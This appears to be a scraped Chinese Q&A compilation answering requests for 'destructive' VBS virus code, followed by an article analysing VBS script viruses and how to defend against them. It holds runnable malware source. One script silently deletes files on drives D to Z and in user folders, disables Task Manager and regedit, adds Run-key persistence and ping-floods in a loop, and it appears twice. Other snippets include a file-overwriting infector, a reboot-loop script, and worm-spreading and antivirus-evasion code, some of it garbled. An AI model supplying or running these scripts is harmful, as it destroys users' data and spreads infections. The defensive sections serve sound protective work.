r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
把以上代码复制到记事本，另存为vbs文件
这个杀软会报毒，但运行对电脑没有危害，实在不行可以重启
㈤ 求用vbs编写autorun病毒简单代码，给分很多的
自己改一下：
dim
folder,fso,foldername,f,d,dc
set
fso=createobject("scripting.filesystemobject")
set
self=fso.opentextfile(wscript.scriptfullname,1)
vbs=self.readall
'读取病毒体，以备复制到文件
self.close
set
dc=fso.Drives
for
each
d
in
dc
if
d.drivetype=3
or
d.drivetype=2
then
'检查磁盘类型
wscript.echo
d
'弹出窗口，显示找到盘符
scan(d)
end
if
next
lsfile=wscript.scriptfullname
'该脚本程序路径
set
lsfile=fso.getfile(lsfile)
lsfile.delete(true)
'病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）
sub
scan(folder_)
on
error
resume
next
set
folder_=fso.getfolder(folder_)
set
files=folder_.files
for
each
file
in
files
ext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext)
'后缀名转换成小写字母
if
ext="mp5"
then
'如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，最好是非正常后缀名
set
ap=fso.opentextfile(file.path,2,true)
'
ap.write
vbs
'覆盖文件，慎用
ap.close
set
cop=fso.getfile(file.path)
cop.(file.path
&
".vbs")
'创建另外一个病毒文件
'
file.delete(true)
'删除原来文件
end
if
next
set
subfolders=folder_.subfolders
for
each
subfolder
in
subfolders
'搜索其他目录
scan(subfolder)
next
end
sub
㈥ 谁能给我最全的vbs病毒代码，要破坏性的。我多给分，前提是回答满意。
那废话不说，问这个如何？不懂可以问我
On Error Resume Next
dim avest,xufso,wscrt
Set avest = WScript.Createobject("WScript.Shell")
Set wscrt = WScript.Createobject("WScript.Shell")
Set xufso = CreateObject("Scripting.FileSystemObject")
avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true
xufso.CreateFolder "C:\VBScript\"
wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功！"
xufso.file Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"
xufso.file Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"
wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"
msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp！",16+4096,"Error"
do
wscrt.run "ping 192.168.1.1 -l 65500 -t"
loop
㈦ 谁知道怎么用vbs写不能开机的病毒，给个代码。就是一开就关机的病毒。好了我给分
新建一个TXT文件，打开，把整人代码放进去，保存。然后把文件扩展名改成.VBS，发送给别人，运行，就能整人了。
比如：
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im .exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
这个整人程序，既不会关机，也不会对电脑有伤害，就是有点烦。
VBScript(Microsoft Visual Basic Script Editon).，微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是写的程序不需要编译成.exe,，而是直接给用户发送.vbs的源程序, 用户就能执行了。
㈧ VBS脚本病毒的病毒原理分析
1．vbs脚本病毒如何感染、搜索文件
VBS脚本病毒一般是直接通过自我复制来感染文件的，病毒中的绝大部分代码都可以直接附加在其他同类程序的中间，譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部，并在顶部加入一条调用病毒代码的语句，而宏病毒则是直接生成一个文件的副本，将病毒代码拷入其中，并以原文件名作为病毒文件名的前缀，vbs作为后缀。下面我们通过宏病毒的部分代码具体分析一下这类病毒的感染和搜索原理：
以下是文件感染的部分关键代码：
Set fso=createobject(scripting.filesystemobject)
'创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1)
'读打开当前文件（即病毒本身）
vbs=self.readall
' 读取病毒全部代码到字符串变量vbs……
set ap=fso.opentextfile(目标文件.path,2,true)
' 写打开目标文件，准备写入病毒代码
ap.write vbs ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.(目标文件.path & .vbs)
' 创建另外一个病毒文件（以.vbs为后缀）
目标文件.delete(true)
'删除目标文件
上面描述了病毒文件是如何感染正常文件的：首先将病毒自身代码赋给字符串变量vbs，然后将这个字符串覆盖写到目标文件，并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本，最后删除目标文件。
下面我们具体分析一下文件搜索代码：
'该函数主要用来寻找满足条件的文件，并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义，
on error resume next '如果出现错误，直接跳过，防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext=mp5 then '如果后缀名是mp5，则进行感染。
请自己建立相应后缀名的文件，最好是非正常后缀名 ，以免破坏正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目录；递归调用
scan( ) scan(subfolder)
next
end sub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍，非常巧妙，采用了一个递归的算法遍历整个分区的目录和文件。
2．vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广，主要依赖于它的网络传播功能，一般来说，VBS脚本病毒采用如下几种方式进行传播：
1）通过Email附件传播
这是一种用的非常普遍的传播方式，病毒可以通过各种方法拿到合法的Email地址，最常见的就是直接取outlook地址簿中的邮件地址，也可以通过程序在用户文档（譬如htm文件）中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的：
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(Outlook.Application)
//创建一个OUTLOOK应用的对象
If outlookApp= Outlook Then
Set mapiObj=outlookApp.GetNameSpace(MAPI)
//获取MAPI的名字空间
Set addrList= mapiObj.AddressLists
//获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount
//遍历地址表的Email地址
Set item = outlookApp.CreateItem(0)
//获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//获取具体Email地址
= addrEnt.Address
//填入收信人地址
item.Subject = 病毒传播实验
//写入邮件标题
item.Body = 这里是病毒邮件传播测试，收到此信请不要慌张！
//写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)& est.jpg.vbs
item.DeleteAfterSubmit = True
//信件提交后自动删除
Then
item.Send
//发送邮件
shellObj.regwrite HKCUsoftwareMailtestmailed, 1
//病毒标记，以免重复感染
End If
NextEnd IfNext
End if
End Function
2）通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说，为了局域网内交流方便，一定存在不少共享目录，并且具有可写权限，譬如win2000创建共享时，默认就是具有可写权限。这样病毒通过搜索这些共享目录，就可以将病毒代码传播到这些目录之中。
在VBS中，有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
welcome_msg = 网络连接搜索测试
Set WSHNetwork = WScript.CreateObject(WScript.Network)
’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections
’创建一个网络打印机连接列表
WScript.Echo Network printer mappings:
For i = 0 to oPrinters.Count - 1Step2
’显示网络打印机连接情况
WScript.Echo Port &oPrinters.Item(i)
& = & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox 没有可列出的驱动器。,
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = 当前网络驱动器连接: &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg’显示当前网络驱动器连接
End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后，我们就可以直接向目标驱动器读写文件了。
3）通过感染htm、asp、jsp、php等网页文件传播
如今，WWW服务已经变得非常普遍，病毒通过感染htm等文件，势必会导致所有访问过该网页的用户机器感染病毒。
病毒之所以能够在htm文件中发挥强大功能，采用了和绝大部分网页恶意代码相同的原理。基本上，它们采用了相同的代码，不过也可以采用其它代码，这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键，注册表中对它他的说明是“Windows Script Host Shell Object”，同样，我们也可以找到，注册表对它的说明是“FileSystem Object”，一般先要对COM进行初始化，在获取相应的组件对象之后，病毒便可正确地使用FSO、WSH两个对象，调用它们的强大功能。代码如下所示：
Set Apple0bject = document.applets(KJ_guest)Apple0bject.setCLSID()Apple0bject.createInstance() ’创建一个实例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID()
Apple0bject.createInstance()
’创建一个实例
Set FSO = Apple0bject.Get0bject()
对于其他类型文件，这里不再一一分析。
4）通过IRC聊天通道传播
病毒通过IRC传播一般来说采用以下代码（以MIRC为例）
Dim mirc
set fso=CreateObject(Scripting.FileSystemObject)
set mirc=fso.CreateTextFile(C:mircscript.ini)
’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, C:mircattachment.vbs,
True ’将病毒文件备份到attachment.vbs
mirc.WriteLine [script]
mirc.WriteLine n0=on 1:join:*.*:
{if($nick !=$me) /dcc send $nick C:mircattachment.vbs }
'利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
以上代码用来往Script.ini文件中写入一行代码，实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令，这个文件里面的命令是可以自动执行的。譬如，TUNE.VBS病毒就会修改c:mircscript.ini 和 c:mircmirc.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样，如果Pirch98已安装在目标计算机的c:pirch98目录下，病毒就会修改c:pirch98events.ini和c:pirch98pirch98.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中，这样，当其他用户访问这台机器时，就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
还有一些其他的传播方法，我们这里不再一一列举。
3．VBS脚本病毒如何获得控制权
如何获取控制权？这一个是一个比较有趣的话题，而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法：
1）修改注册表项
windows在启动的时候，会自动加载HKEY_LOCAL_项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序，这样就可以保证每次机器启动的时候拿到控制权。vbs修改注册表的方法比较简单，直接调用下面语句即可。 wsh.RegWrite(strName, anyvalue [,strType])
2）通过映射文件执行方式
譬如，我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
3）欺骗用户，让用户自己执行
这种方式其实和用户的心理有关。譬如，病毒在发送附件时，采用双后缀的文件名，由于默认情况下，后缀并不显示，举个例子，文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg，这时用户往往会把它当成一张图片去点击。同样，对于用户自己磁盘中的文件，病毒在感染它们的时候，将原有文件的文件名作为前缀，vbs作为后缀产生一个病毒文件，并删除原来文件，这样，用户就有可能将这个vbs文件看作自己原来的文件运行。
4）desktop.ini和folder.htt互相配合
这两个文件可以用来配置活动桌面，也可以用来自定义文件夹。如果用户的目录中含有这两个文件，当用户进入该目录时，就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt，还可能触发exe文件，这也可能成为病毒得到控制权的一种有效方法！
病毒获得控制权的方法还有很多，这方面作者发挥的余地也比较大。
4．vbs脚本病毒对抗反病毒软件的几种技巧
病毒要生存，对抗反病毒软件的能力也是必需的。一般来说，VBS脚本病毒采用如下几种对抗反病毒软件的方法：
1）自加密
譬如，新欢乐时光病毒，它可以随机选取密钥对自己的部分代码进行加密变换，使得每次感染的病毒代码都不一样，达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术，使得每次感染后的加密病毒的解密后的代码都不一样。
下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject(Scripting.FileSystemObject)
’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
’读取自身代码
fS=Array(Of, vC, fS, fSC)
’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’将替换后的代码写回文件
上面这段代码使得该VBS文件在每次运行后，其Of，vC，fS，fSC四字符串都会用随机字符串来代替，这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
2）巧妙运用Execute函数
用过VBS程序的朋友是否会觉得奇怪：当一个正常程序中用到了FileSystemObject对象的时候，有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高，但是有些VBS脚本病毒同样采用了FileSystemObject对象，为什么却又没有任何警告呢？原因很简单，就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时，会检查程序中是否声明使用了FileSystemObject对象，如果采用了，这会发出报警。如果病毒将这段声明代码转化为字符串，然后通过Execute(String)函数执行，就可以躲避某些反病毒软件。
3）改变某些对象的声明方法
譬如fso=createobject(scripting.filesystemobject)，我们将其改变为
fso=createobject(script+ing.filesyste+mobject)，这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
4）直接关闭反病毒软件
VBS脚本功能强大，它可以直接在搜索用户进程然后对进程名进行比较，如果发现是反病毒软件的进程就直接关闭，并对它的某些关键程序进行删除。
5．Vbs病毒生产机的原理介绍
所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议，其实对脚本病毒而言它的实现非常简单。
脚本语言是解释执行的、不需要编译，程序中不需要什么校验和定位，每条语句之间分隔得比较清楚。这样，先将病毒功能做成很多单独的模块，在用户做出病毒功能选择后，生产机只需要将相应的功能模块拼凑起来，最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因，这里不作详细介绍。
三、如何防范vbs脚本病毒
1．如何从样本中提取（加密）脚本病毒
对于没有加密的脚本病毒，我们可以直接从病毒样本中找出来，现在介绍一下如何从病毒样本中提取加密VBS脚本病毒，这里我们以新欢乐时光为例。
用JediEdit打开folder.htt。我们发现这个文件总共才93行，第一行，几行注释后，以开始，节尾。相信每个人都知道这是个什么类型的文件吧！
第87行到91行，是如下语句：
87：
第87和91行不用解释了，第88行是一个字符串的赋值，很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar，再加上下面那一行，我们肯定能够猜到ThisText里面放的是病毒解密代码（熟悉vbs的兄弟当然也可以分析一下这段解密代码，too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码（经过解密处理后的代码）。
那么，下一步该怎么做呢？很简单，我们只要在病毒代码解密之后，将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件：
首先，第88、89两行到刚才建立的.txt文件，当然如果你愿意看看新欢乐时光的执行效果，你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码，整个文件如下所示：
ExeString = Afi...’ 第88行代码
Execute(Dim KeyAr... ’ 第89行代码
set fso=createobject(scripting.filesystemobject)
’ 创建一个文件系统对象
set virusfile=fso.createtextfile(resource.log,true)
’ 创建一个新文件resource.log，
用以存放解密后的病毒代码 virusfile.writeline(ThisText)
’ 将解密后的代码写入resource.log
OK！就这么简单，保存文件，将该文件后缀名.txt改为.vbs(.vbe也可以)，双击，你会发现该文件目录下多了一个文件resource.log，打开这个文件，怎么样？是不是“新欢乐时光”的源代码啊！
2．vbs脚本病毒的弱点
vbs脚本病毒由于其编写语言为脚本，因而它不会像PE文件那样方便灵活，它的运行是需要条件的（不过这种条件默认情况下就具备了）。笔者认为，VBS脚本病毒具有如下弱点：
1）绝大部分VBS脚本病毒运行的时候需要用到一个对象：FileSystemObject
2）VBScript代码是通过Windows Script Host来解释执行的。
3）VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
4）通过网页传播的病毒需要ActiveX的支持
5）通过Email传播的病毒需要OE的自动发送邮件功能支持，但是绝大部分病毒都是以Email为主要传播方式的。
3．如何预防和解除vbs脚本病毒
针对以上提到的VBS脚本病毒的弱点，笔者提出如下集中防范措施：
1）禁用文件系统对象FileSystemObject
方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键的项，咔嚓即可。
2）卸载Windows Scripting Host
在Windows 98中（NT 4.0以上同理），打开[控制面板]→[添加/删除程序]→[Windows安装程序]→[附件]，取消“Windows Scripting Host”一项。
和上面的方法一样，在注册表中HKEY_CLASSES_ROOTCLSID下找到一个主键的项，咔嚓。
3）删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射
点击[我的电脑]→[查看]→[文件夹选项]→[文件类型]，然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
4）在Windows目录中，找到WScript.exe，更改名称或者删除，如果你觉得以后有机会用到的话，最好更改名称好了，当然以后也可以重新装上。
5）要彻底防治VBS网络蠕虫病毒，还需设置一下你的浏览器。我们首先打开浏览器，单击菜单栏里“Internet 选项”安全选项卡里的[自定义级别]按钮。把“ActiveX控件及插件”的一切设为禁用，这样就不怕了。呵呵，譬如新欢乐时光的那个ActiveX组件如果不能运行，网络传播这项功能就玩完了。
6）禁止OE的自动收发邮件功能
7）由于蠕虫病毒大多利用文件扩展名作文章，所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”，将其修改为显示所有文件类型的扩展名称。
8）将系统的网络连接的安全级别设置至少为“中等”，它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
9）呵呵，最后一项不说大家也应该知道了，杀毒软件确实很必要，尽管有些杀毒软件挺让广大用户失望，不过，选择是双方的哦。在这个病毒横飞的网络，如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
四、对所有脚本类病毒发展的展望
随着网络的飞速发展，网络蠕虫病毒开始流行，而VBS脚本蠕虫则更加突出，不仅数量多，而且威力大。由于利用脚本编写病毒比较简单，除了将继续流行目前的VBS脚本病毒外，将会逐渐出现更多的其它脚本类病毒，譬如PHP，JS，Perl病毒等。但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具，并且脚本病毒解除起来比较容易、相对容易防范。笔者认为，脚本病毒仍将继续流行，但是能够具有像宏病毒、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。
㈨ 电脑中.vbs病毒，请大神翻译此代码：
哈哈，无聊简单的恶作剧VBS脚本，给你翻译一下吧，加了一些注释，你一看就会明白。
DimHFWsr:DimHFWfk:DimHFWfw:DimFwriteText:DimHFWfp
HFWfp="C:HFWkill.vbs"'这里是先定义一个恶作剧脚本的文件名，赋值给一变量方便后面调用
setHFWsr=CreateObject("wscript.shell")'创建Wscript对象
setHFWfk=CreateObject("Scripting.FileSystemObject")'这个对象用于下面的文件操作
SetHFWfw=HFWfk.CreateTextFile(HFWfp,true,false)'这里开始就是准备创建新的恶作剧脚本HFWkill.vbs了
HFWsr.Regwrite"HKEY_LOCAL_KILLHFW","C:HFWKILL.VBS","REG_SZ"'这里是设置了开机自动运行C盘根目录下由本程序创建的VBS程序
FwriteText="dimHFWkill:setHFWkill=CreateObject(""Wscript.shell""):HFWkill.run""shutdown-s-t0-f"",0"'它最主要是这段关机代码写入了这个新建的VBS文件
HFWfw.writeFwriteText:HFWfw.close'创建完毕
HFWsr.run"attrib+h+r+sc:hfwkill.vbs",0'设置为此恶作剧文件为隐藏文件只读文件系统文件
msgbox"o(∩_∩)...!ILOVEYOU!你挂了...哈哈哈",0,"H*F*W"'这里是得意地向你表示它已得逞
HFWsr.run"shutdown-s-t0-f",0'这里是先关你一次机，接下来你一开机它就关机了，就是这么个简单小恶作剧脚本！
万一已“中毒”，则进入安全模式，在运行里输入“RegEdit” 打开注册表，然后把HKEY_LOCAL_下面的“KILLHFW”这项删除即可。顺便把C盘根目录下的HFWKILL.VBS文件也删除掉最好，当然要删除这个文件要先设置显示隐藏文件系统文件。若熟悉DOS，那么在CMD窗口里输入Del c:HFWKILL.VBS 也行
㈩ 求最全的vbs病毒代码，要破坏性的。谢谢，回答的好我多给分。
那废话不说，问这个如何？不懂可以问我
On Error Resume Next
dim avest,xufso,wscrt
Set avest = WScript.Createobject("WScript.Shell")
Set wscrt = WScript.Createobject("WScript.Shell")
Set xufso = CreateObject("Scripting.FileSystemObject")
avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true
xufso.CreateFolder "C:\VBScript\"
wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功！"
xufso.file Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"
xufso.file Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"
wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"
msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp！",16+4096,"Error"
do
wscrt.run "ping 192.168.1.1 -l 65500 -t"
loop